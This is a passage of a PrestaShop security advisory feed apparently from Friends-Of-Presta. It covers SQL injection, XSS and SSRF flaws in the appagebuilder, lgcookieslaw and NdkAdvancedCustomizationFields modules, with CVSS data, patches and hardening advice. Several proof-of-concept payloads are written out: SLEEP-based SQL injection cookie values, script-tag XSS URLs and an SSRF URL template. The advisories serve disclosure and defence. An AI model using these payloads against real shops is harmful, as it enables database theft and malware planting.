                 $where .= ' AND cp.`id_category` '.(strpos($id_categories, ',') === false ?
<span class="gd">-                                '= '.(int)$id_categories : 'IN ('.$id_categories.')');
</span><span class="gi">+                                '= '.(int)$id_categories : 'IN ('.implode(', ', array_map('intval', explode(',', $id_categories))).')');
</span> 
                 $sql_group = ' GROUP BY p.id_product';
 
<span class="p">@@ -1174,7 +1174,7 @@</span> class APPageBuilder extends Module
         $value_by_supplier = isset($params['value_by_supplier']) ? $params['value_by_supplier'] : 0;
         if ($value_by_supplier &amp;&amp; isset($params['supplier'])) {
             $id_suppliers = $params['supplier'];
<span class="gd">-            $where .= ' AND p.id_supplier '.(strpos($id_suppliers, ',') === false ? '= '.(int)$id_suppliers : 'IN ('.$id_suppliers.')');
</span><span class="gi">+            $where .= ' AND p.id_supplier '.(strpos($id_suppliers, ',') === false ? '= '.(int)$id_suppliers : 'IN ('.implode(', ', array_map('intval', explode(',', $id_suppliers))).')');
</span>         }
         $value_by_product_id = isset($params['value_by_product_id']) ? $params['value_by_product_id'] : 0;
         if ($value_by_product_id &amp;&amp; isset($params['product_id'])) {
<span class="p">@@ -1185,13 +1185,13 @@</span> class APPageBuilder extends Module
             }
 
             $product_id = implode(',', $temp);
<span class="gd">-            $where .= ' AND p.id_product '.(strpos($product_id, ',') === false ? '= '.(int)$product_id : 'IN ('.$product_id.')');
</span><span class="gi">+            $where .= ' AND p.id_product '.(strpos($product_id, ',') === false ? '= '.(int)$product_id : 'IN ('.implode(', ', array_map('intval', explode(',', $product_id))).')');
</span>         }
 
         $value_by_manufacture = isset($params['value_by_manufacture']) ? $params['value_by_manufacture'] : 0;
         if ($value_by_manufacture &amp;&amp; isset($params['manufacture'])) {
             $id_manufactures = $params['manufacture'];
<span class="gd">-            $where .= ' AND p.id_manufacturer '.(strpos($id_manufactures, ',') === false ? '= '.(int)$id_manufactures : 'IN ('.$id_manufactures.')');
</span><span class="gi">+            $where .= ' AND p.id_manufacturer '.(strpos($id_manufactures, ',') === false ? '= '.(int)$id_manufactures : 'IN ('.implode(', ', array_map('intval', explode(',', $id_manufactures))).')');
</span>         }
         $product_type = isset($params['product_type']) ? $params['product_type'] : '';
         $value_by_product_type = isset($params['value_by_product_type']) ? $params['value_by_product_type'] : 0;
<span class="p">@@ -1272,6 +1272,7 @@</span> class APPageBuilder extends Module
 //            $sql .= ' ORDER BY product_shop.date_add '.(!$get_total ? ' LIMIT '.(int)$n : '');
             $sql .= ' ORDER BY RAND() '.(!$get_total ? ' LIMIT '.(int)$n : '');
         } else {
<span class="gi">+            $order_way = Validate::isOrderWay($order_way) ? Tools::strtoupper($order_way) : 'ASC';
</span>             $sql .= ' ORDER BY '.(!empty($order_by_prefix) ? $order_by_prefix.'.' : '').'`'.bqSQL($order_by).'` '.pSQL($order_way)
                     .(!$get_total ? ' LIMIT '.(((int)$p - 1) * (int)$n).','.(int)$n : '');
         }
<span class="p">@@ -1752,16 +1753,18 @@</span> class APPageBuilder extends Module
         if ($params['order_by'] == 'position') {
             $params['order_by'] = 'id_manufacturer';
         }
<span class="gi">+	     $params['order_by'] = Validate::isOrderBy($params['order_by']) ? $params['order_by'] : 'id_manufacturer';
</span>         if (isset($params['order_way']) &amp;&amp; $params['order_way'] == 'random') {
             $order = ' RAND()';
         } else {
<span class="gi">+	         $params['order_way'] = Validate::isOrderWay($params['order_way']) ? $params['order_way'] : 'DESC';
</span>             $order = (isset($params['order_by']) ? ' '.$params['order_by'] : '').(isset($params['order_way']) ? ' '.$params['order_way'] : '');
         }
         $sql = 'SELECT m.*, ml.`description`, ml.`short_description`
 			FROM `'._DB_PREFIX_.'manufacturer` m
 			'.Shop::addSqlAssociation('manufacturer', 'm').'
 			INNER JOIN `'._DB_PREFIX_.'manufacturer_lang` ml ON (m.`id_manufacturer` = ml.`id_manufacturer` AND ml.`id_lang` = '.(int)$id_lang.')
<span class="gd">-			WHERE m.`active` = 1 '.(isset($params['manuselect']) ? 'AND m.`id_manufacturer` IN ('.$params['manuselect'].')' : '').' 
</span><span class="gi">+			WHERE m.`active` = 1 '.(isset($params['manuselect']) ? 'AND m.`id_manufacturer` IN ('.implode(',',array_map('intval',explode(',',$params['manuselect']))).')' : '').' 
</span> 			ORDER BY '.$order;
         $manufacturers = Db::getInstance(_PS_USE_SQL_SLAVE_)-&gt;executeS($sql);
         if ($manufacturers === false) {
<span class="p">@@ -1848,7 +1851,7 @@</span> class APPageBuilder extends Module
 		LEFT JOIN `'._DB_PREFIX_.'product_comment_grade` pcg ON (pcg.`id_product_comment` = pc.`id_product_comment`)
 		LEFT JOIN `'._DB_PREFIX_.'product_comment_criterion` pcc ON (pcc.`id_product_comment_criterion` = pcg.`id_product_comment_criterion`)
 		LEFT JOIN `'._DB_PREFIX_.'product_comment_criterion_lang` pccl ON (pccl.`id_product_comment_criterion` = pcg.`id_product_comment_criterion`)
<span class="gd">-		WHERE pc.`id_product` in ('.$list_product.')
</span><span class="gi">+		WHERE pc.`id_product` in ('.implode(',',array_map('intval',explode(',',$list_product))).')
</span> 		AND pccl.`id_lang` = '.(int)$id_lang.
                         ($validate == '1' ? ' AND pc.`validate` = 1' : '')));
     }
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>We highly recommand to remove from your server this module if not used, or upgrade to the latest release of the module <strong>appagebuilder</strong> up to 2.4.5 and apply all fixes mentionned above.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://apollotheme.com/products/ap-pagebuilder-prestashop-module">Author product page</a></li>
  <li><a href="https://addons.prestashop.com/en/page-customization/20111-ap-page-builder.html">PrestaShop marketplace product page</a></li>
  <li><a href="https://packetstormsecurity.com/files/168148/PrestaShop-Ap-Pagebuilder-2.4.4-SQL-Injection.html">POC</a></li>
  <li><a href="https://blog.leotheme.com/security-issue-with-the-module-appagebuilder-v-2-2-4.html">Partial patch</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2022-22897">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;202-ecommerce.com&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[PrestaShop Ap Pagebuilder module versions 2.4.5 and below suffer from several remote SQL injection vulnerability.]]></summary></entry><entry><title type="html">[CVE-2022-44727] Blind SQL injection vulnerability in PrestaShop lgcookieslaw module</title><link href="https://security.friendsofpresta.org/modules/2022/11/06/lgcookieslaw.html" rel="alternate" type="text/html" title="[CVE-2022-44727] Blind SQL injection vulnerability in PrestaShop lgcookieslaw module" /><published>2022-11-06T00:00:00+00:00</published><updated>2022-11-06T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2022/11/06/lgcookieslaw</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2022/11/06/lgcookieslaw.html"><![CDATA[<p>The PrestaShop e-commerce platform module EU Cookie Law GDPR (Banner + Blocker) contains a Blind SQL injection vulnerability up to version 2.1.2. This module is widely deployed and is a “Best seller” on the add-ons store.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: CVE-2022-44727</li>
  <li><strong>Published at</strong>: 2022-11-06</li>
  <li><strong>Advisory source</strong>: <a href="https://securityandstuff.com/posts/cve-2022-44727/">securityandstuff.com</a></li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: lgcookieslaw</li>
  <li><strong>Impacted release</strong>: &gt;=1.5.0 and &lt;2.1.3 (2.1.3 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Línea Gráfica</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The EU Cookie Law GDPR (Banner + Blocker) module before 2.1.3 for PrestaShop allows SQL Injection via a cookie ( lgcookieslaw or __lglaw ).</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<p>This vulnerability permits reading the shop’s database, allowing access to PII, and installing malware such as credit card stealers.</p>

<p>The vulnerability lies in a cookie used by the module to store the user’s choices.</p>

<h2 id="proof-of-concept">Proof of concept</h2>

<h3 id="version-2">Version 2</h3>

<p>For newer versions of the module, the cookie lgcookieslaw contains a Base64 encoded JSON object instead of CSV.</p>

<p>To exploit these versions, you’ll need to modify the lgcookieslaw_accepted_purposes of the object and then reencode to Base64:</p>

<p><code class="language-plaintext highlighter-rouge">"lgcookieslaw_accepted_purposes":"[\"1\",\"2\",\"3\",\"4\",\"5 AND SLEEP(5)"]"</code></p>

<h3 id="version-1">Version 1</h3>

<p>For older versions set the <code class="language-plaintext highlighter-rouge">__lglaw cookie to 1,2,3,4) AND SLEEP(5)--</code>.</p>

<h2 id="patch-of-release-243">Patch of release 2.4.3</h2>

<h3 id="version-2-1">Version 2</h3>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 2.x.x-/lgcookieslaw/classes/LGCookiesLawPurpose.php
</span><span class="gi">+++ 2.1.3/lgcookieslaw/classes/LGCookiesLawPurpose.php
</span>    public static function getLockedModules($enabled_purposes = null, $id_shop = null, $active = true)
    {
        $context = Context::getContext();

        if (is_null($id_shop)) {
            $id_shop = $context-&gt;shop-&gt;id;
        }

        $query = new DbQuery();

        $query-&gt;select('a.`' . self::$definition['primary'] . '`, a.`locked_modules`');
        $query-&gt;from(self::$definition['table'], 'a');
        $query-&gt;where('a.`id_shop` = ' . (int)$id_shop);

        if (!is_null($enabled_purposes)) {
<span class="gi">+           $enabled_purposes = implode(', ', array_map('intval', explode(',', $enabled_purposes)));
</span>            $query-&gt;where('a.`' . self::$definition['primary'] .'` NOT IN (' . pSQL($enabled_purposes) . ')');
        }

        if ($active) {
            $query-&gt;where('a.`active` = ' . (int)$active);
        }

        return Db::getInstance()-&gt;executeS($query);
    }
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>lgcookieslaw</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/legal/8734-eu-cookie-law-gdpr-banner-blocker.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2022-44727">National Vulerability Database</a></li>
</ul>]]></content><author><name>[&quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[The PrestaShop e-commerce platform module EU Cookie Law GDPR (Banner + Blocker) contains a Blind SQL injection vulnerability up to version 2.1.2. This module is widely deployed and is a “Best seller” on the add-ons store.]]></summary></entry><entry><title type="html">[CVE-2022-40840][CVE-2022-40841] Possible XSS T1 and T2 in Ndk advanced custom fields module from ndkdesign for PrestaShop</title><link href="https://security.friendsofpresta.org/module/2022/11/01/ndk_advanced_custom_fields-CVE-2022-40840.html" rel="alternate" type="text/html" title="[CVE-2022-40840][CVE-2022-40841] Possible XSS T1 and T2 in Ndk advanced custom fields module from ndkdesign for PrestaShop" /><published>2022-11-01T00:00:00+00:00</published><updated>2022-11-01T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/module/2022/11/01/ndk_advanced_custom_fields-CVE-2022-40840</id><content type="html" xml:base="https://security.friendsofpresta.org/module/2022/11/01/ndk_advanced_custom_fields-CVE-2022-40840.html"><![CDATA[<p>Ndk design NdkAdvancedCustomizationFields 3.5.0 is vulnerable to Reflected Cross Site Scripting (XSS-T1 of category 1) via createPdf.php and showPreview.php.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40840">CVE-2022-40840</a> <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40841">CVE-2022-40841</a></li>
  <li><strong>Published at</strong>: 2022-11-01</li>
  <li><strong>Advisory source</strong>: <a href="https://github.com/daaaalllii/cve-s/blob/main/CVE-2022-40840/poc.txt">github</a></li>
  <li><strong>Vendor</strong>: PrestaShop</li>
  <li><strong>Product</strong>: NdkAdvancedCustomizationFields</li>
  <li><strong>Impacted release</strong>: &lt;= 3.5.0</li>
  <li><strong>Product author</strong>: ndkdesign</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/79.html">CWE-79</a></li>
  <li><strong>Severity</strong>: medium (6.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>Since we do not have access to the module, we cannot confirm the XSS type, but based on the POC and until proven otherwise, Ndk design NdkAdvancedCustomizationFields 3.5.0 is vulnerable to Reflected Cross Site Scripting (XSS-T1 of category 1) via createPdf.php.</p>

<p>Be warned that, based on the provided POC, the second exploit against showPreview.php could be a [XSS T2 - potentially F2B)(https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html) - If confirmed, this exploit could pose a critical vulnerability CVSS 3.1 : 9.6/10 (<a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N">CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N</a>).</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: high</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: required</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N">CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Bypass Protection Mechanism</li>
  <li>Read Application Data</li>
  <li>Execute Unauthorized Code or Commands</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<p>Exploit CVE-2022-40840:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://localhost/modules/ndk_advanced_custom_fields/createPdf.php?htmlNodes[0]=&lt;script&amp;htmlNodes[1]=&gt;alert("xss_poc")&lt;/&amp;htmlNodes[2]=script&gt;&amp;idCustomer=..&amp;idProduct=..&amp;idCustomization=..
http://localhost/img/render.html
</code></pre></div></div>

<p>Exploit CVE-2022-40841:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://localhost/modules/ndk_advanced_custom_fields/showPreview.php?htmlNodes=&lt;script&gt;alert('xss')&lt;/script&gt;
</code></pre></div></div>

<h2 id="patch">Patch</h2>

<p>Added a tag-removing line after the setting of $content :</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">- a/moldules/ndk_advanced_custom_fields/createPdf.php
</span><span class="gi">+ a/moldules/ndk_advanced_custom_fields/createPdf.php
</span><span class="err">$content.=</span> '&lt;/body&gt;&lt;/html&gt;';
<span class="err">$regex</span> = "~data:image/[a-zA-Z]*;base64,[a-zA-Z0-9+/\\=]*=~"; 
<span class="err">/*$content</span> = preg_replace_callback(
        $regex,
        function ($matches) {
            return base64_decode($matches[0]);
        },
        $content
    );
 */
<span class="gi">+ $content = NdkCf::remove_script_tags($content);
</span>
file_put_contents(_PS_IMG_DIR_.'scenes/'.'ndkcf/pdf/'.(int) Tools::getValue('idCustomer').'/'.(int) Tools::getValue('idProduct').'/'.(int) Tools::getValue('idCustomization').'/render.html', $content);
<span class="gd">- a/moldules/ndk_advanced_custom_fields/showPreview.php
</span><span class="gi">+ a/moldules/ndk_advanced_custom_fields/showPreview.php
</span><span class="p">include(dirname(__FILE__).'/../../config/config.inc.php');
include(dirname(__FILE__).'/../../init.php');
</span><span class="gi">+ require_once _PS_MODULE_DIR_.'ndk_advanced_custom_fields/models/ndkCf.php';
</span>
$content.= '&lt;body style="position:relative;"&gt;';
<span class="err">$content</span> .= Tools::getValue('htmlNodes');
<span class="err">$content.=</span> '&lt;/body&gt;&lt;/html&gt;';
<span class="gi">+ $content = NdkCf::remove_script_tags($content);
</span>
print( $content );
</code></pre></div></div>

<p>Here is the function’s content :</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gi">+    public static function  remove_script_tags($html, $load = false){
+        $dom = new DOMDocument();
+        $dom-&gt;loadHTML($html);
+        $script = $dom-&gt;getElementsByTagName('script');
+    
+        $remove = [];
+        foreach($script as $item){
+            $remove[] = $item;
+        }
+        //dump($remove);
+    
+        foreach ($remove as $item){
+            $item-&gt;parentNode-&gt;removeChild($item);
+        }
+    
+        $html = $dom-&gt;saveHTML();
+        if($load){
+            $html = preg_replace('/&lt;!DOCTYPE.*?&lt;html&gt;.*?&lt;body&gt;&lt;p&gt;/ims', '', $html);
+            $html = str_replace('&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;', '', $html);
+        }
+        
+        return $html;
+    }
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>Upgrade the module to the most recent version</li>
  <li>Upgrade PrestaShop to the latest version to disable multiquery executions (separated by “;”)</li>
  <li>Systematically escape characters ‘ “ &lt; and &gt; by replacing them with HTML entities and applying strip_tags</li>
  <li>Limit to the strict minimum the length’s value in database - a database field which allow 10 characters (varchar(10)) is far less dangerous than a field which allow 40+ characters (use cases which can exploit fragmented XSS payloads are very rare)</li>
  <li>Configure CSP headers (content security policies) by listing externals domains allowed to load assets (such as js files) or being called in XHR transactions (Ajax).</li>
  <li>If applicable: check against all your frontoffice’s uploaders, uploading files which will be served by your server with mime type application/javascript (like every .js natively) must be strictly forbidden as it must be considered as dangerous as PHP files.</li>
  <li>Activate OWASP 941’s rules on your WAF (Web application firewall) - be warn that you will probably break your backoffice and you will need to preconfigure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>01-11-2022</td>
      <td>GitHub Poc</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://github.com/daaaalllii/cve-s/blob/main/CVE-2022-40840/poc.txt">Source of this CVE</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2022-40840">National Vulnerability Database CVE-2022-40840</a></li>
  <li><a href="https://github.com/daaaalllii/cve-s/blob/main/CVE-2022-40841/poc.txt">Source of this CVE</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2022-40841">National Vulnerability Database CVE-2022-40841</a></li>
  <li><a href="https://www.ndk-design.fr/documentation-ndkadvancedcustomizationfields-prestashop-english">Author website</a></li>
</ul>]]></content><author><name>[&quot;Friends-Of-Presta.org&quot;]</name></author><category term="module" /><summary type="html"><![CDATA[Ndk design NdkAdvancedCustomizationFields 3.5.0 is vulnerable to Reflected Cross Site Scripting (XSS-T1 of category 1) via createPdf.php and showPreview.php.]]></summary></entry><entry><title type="html">[CVE-2022-40842] Server-Side Request Forgery (SSRF) NdkAdvancedCustomizationFields from ndk design a module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2022/11/01/ndk_advanced_custom_fields-CWE-918.html" rel="alternate" type="text/html" title="[CVE-2022-40842] Server-Side Request Forgery (SSRF) NdkAdvancedCustomizationFields from ndk design a module for PrestaShop" /><published>2022-11-01T00:00:00+00:00</published><updated>2022-11-01T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2022/11/01/ndk_advanced_custom_fields-CWE-918</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2022/11/01/ndk_advanced_custom_fields-CWE-918.html"><![CDATA[<p>In NdkAdvancedCustomizationFields module for PrestaShop before 4.1.7, an anonymous user can perform a Server-Side Request Forgery (SSRF) in affected versions. 4.1.7 fixed the vulnerability.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40842">CVE-2022-40842</a></li>
  <li><strong>Published at</strong>: 2022-11-01</li>
  <li><strong>Advisory source</strong>: <a href="https://github.com/daaaalllii/cve-s/blob/main/CVE-2022-40839/poc.txt">@daaaalllii</a></li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: ndk_advanced_custom_fields</li>
  <li><strong>Impacted release</strong>: &lt;= 4.1.6 (4.1.7 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: ndk design</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/918.html">CWE-918</a></li>
  <li><strong>Severity</strong>: critical (9.1)</li>
</ul>

<h2 id="description">Description</h2>

<p>In the NdkAdvancedCustomizationFields module for PrestaShop up to version 4.1.6, an improper validation of <code class="language-plaintext highlighter-rouge">loc</code> parameter in the <code class="language-plaintext highlighter-rouge">rotateimg.php</code> script can be executed via a trivial HTTP call to forge Server-Side Request. This vulnerability can be exploited to initiate a blind HTTP request, for instance, use the vulnerable website as proxy to attack others websites.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Attack others websites via the vulnerability</li>
  <li>Bypass WAF/.htaccess restrictions</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://localhost/modules/ndk_advanced_custom_fields/rotateimg.php?loc<span class="o">=</span>SSRF_PAYLOAD&amp;rot<span class="o">=</span>90&amp;top<span class="o">=</span>1000&amp;left<span class="o">=</span>1000&amp;width<span class="o">=</span>1000&amp;height<span class="o">=</span>1000&amp;imgwidth<span class="o">=</span>1000
</code></pre></div></div>

<h2 id="patch">Patch</h2>

<p>Remove the file or apply this patch :</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/modules/ndk_advanced_custom_fields/rotateimg.php
</span><span class="gi">+++ b/modules/ndk_advanced_custom_fields/rotateimg.php
</span><span class="gd">&lt;?php
</span><span class="gi">+ die();
</span></code></pre></div></div>

<h2 id="other-recommandations">Other recommandations</h2>

<ul>
  <li>It’s recommended to upgrade the module beyong 4.1.7.</li>
  <li>Activate OWASP 931’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>01-11-2022</td>
      <td>GitHub Poc</td>
    </tr>
    <tr>
      <td>26-07-2023</td>
      <td>Publish this advisory on <a href="https://security.friendsofpresta.org/">security</a></td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://github.com/daaaalllii/cve-s/blob/main/CVE-2022-40842/poc.txt">Source of this CVE</a></li>
  <li><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40842">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In NdkAdvancedCustomizationFields module for PrestaShop before 4.1.7, an anonymous user can perform a Server-Side Request Forgery (SSRF) in affected versions. 4.1.7 fixed the vulnerability.]]></summary></entry><entry><title type="html">[CVE-2022-40839] Improper neutralization of SQL parameter in NdkAdvancedCustomizationFields module for PrestaShop</title><link href="https://security.friendsofpresta.org/module/2022/11/01/ndk_advanced_custom_fields.html" rel="alternate" type="text/html" title="[CVE-2022-40839] Improper neutralization of SQL parameter in NdkAdvancedCustomizationFields module for PrestaShop" /><published>2022-11-01T00:00:00+00:00</published><updated>2022-11-01T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/module/2022/11/01/ndk_advanced_custom_fields</id><content type="html" xml:base="https://security.friendsofpresta.org/module/2022/11/01/ndk_advanced_custom_fields.html"><![CDATA[<p>In NdkAdvancedCustomizationFields module for PrestaShop before 4.1.7, an anonymous user can perform a SQL injection in affected versions. 4.1.7 fixed the vulnerability.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-40839">CVE-2022-40839</a></li>
  <li><strong>Published at</strong>: 2022-11-01</li>
  <li><strong>Advisory source</strong>: <a href="https://github.com/daaaalllii/cve-s/blob/main/CVE-2022-40839/poc.txt">@daaaalllii</a></li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: ndk_advanced_custom_fields</li>
  <li><strong>Impacted release</strong>: &lt;=4.1.6 (4.1.7 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: ndk design</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>In the NdkAdvancedCustomizationFields module for PrestaShop up to version 4.1.6, a sensitive SQL call in the NdkCf class can be executed via a trivial HTTP call. This vulnerability can be exploited to initiate a blind SQL injection, for instance, through the POST or GET submitted <code class="language-plaintext highlighter-rouge">height</code> and <code class="language-plaintext highlighter-rouge">width</code> variables.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’ ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<p>Parameters: height,width</p>

